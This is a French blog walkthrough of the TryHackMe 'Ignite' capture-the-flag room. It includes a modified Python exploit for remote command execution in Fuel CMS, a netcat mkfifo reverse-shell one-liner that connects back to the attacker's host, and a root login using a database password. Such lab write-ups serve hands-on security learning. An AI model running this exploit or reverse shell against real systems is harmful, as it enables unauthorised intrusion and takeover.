Il n’y a rien de mieux que de s’entrainer avec des CTF, aujourd’hui c’est Ignite qui prend place. Il est assez accessible pour les débutants et un bon terrain de révision pour les hackers intermédiaires.

 

I. Reconnaissance :

Comme d’habitude, on commence par effectuer un scan network pour voir les ports ouverts :

Nmap -A -sV -p- votre adresse IP

 

Il y a uniquement le port 80 http d’ouvert, allons visiter l’interface web :

Notez ici la version du CMS Fuel, et continuez d’analyser la page web.

Intéressant, nous avons les renseignements d’authentification avec la page de login. Accédez à cette page et authentifiez-vous :

Validez et vous obtiendrez un accès au Dashboard:

À ce stade, j’ai essayé d’uploader un script pour avoir un reverse_shell mais ça n’a pas fonctionné. J’ai donc continué mes investigations.

 

II. Enumération :

En effectuant quelques recherches j’ai trouvé un exploit concernant le CMS Fuel dans exploit-db :

Téléchargez le script.

Voici le script : (j’ai modifié une partie, j’ai utilisé un autre moyen que Burpsuite)

import requests

import urllib.parse

url = « http://ADRESSE IP DE VOTRE MACHINE TRYHACKME/ »

def find_nth_overlapping(haystack, needle, n):

    start = haystack.find(needle)

    while start >= 0 and n > 1:

        start = haystack.find(needle, start+1)

        n -= 1

    return start

while 1:

    xxxx = input(‘cmd:’)

    url = url+ »/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27″+urllib.parse.quote(xxxx)+ »%27%29%2b%27″

    r = requests.get(url)

    html = « <!DOCTYPE html> »

    htmlcharset = r.text.find(html)

    begin = r.text[0:20]

    dup = find_nth_overlapping(r.text,begin,2)

    print(r.text[0:dup])

 

III. Exploitation :

Exécutez ce code et lancez une écoute depuis votre machine hôte :

Maintenant il faut taper une commande permettant de nous donner notre reverse_shell, pour cela j’ai cherché sur le net la commande à utiliser pour netcat :

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP ADRESS PORT >/tmp/f

Eh bingo !

Nous avons notre shell 😊, maintenant cherchons le flag user:

Et voilà, nous avons notre premier flag, passons au dernier concernant root (escalade de privilèges) :

Si je ne me trompe pas, il y a une base de données (database) en place, peut-être nous trouverions des informations sensibles. Avant cette étape j’ai fait pas mal de recherches (qui m’ont pris un peu de temps) avant de tomber sur cette base de données :

Allons visiter ce fichier, qui sait nous obtiendrons des noms d’utilisateurs et mots de passe :

Très intéressant, nous avons le mot de passe du super-utilisateur !

Nous allons utiliser la commande suivante pour avoir un shell interactive :

python -c ‘import pty;pty.spawn(« /bin/bash »);’

Par la suite connectez vous en tant que root et obtenez le dernier flag :

C’est terminé pour ce CTF, si vous avez des questions n’hésitez pas à me contacter ou posez les dans la section de commentaire. Au plaisir de vous retrouver dans un prochain challenge Peace !

 

No responses yet

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

2 × 5 =

Follow by Email
YouTube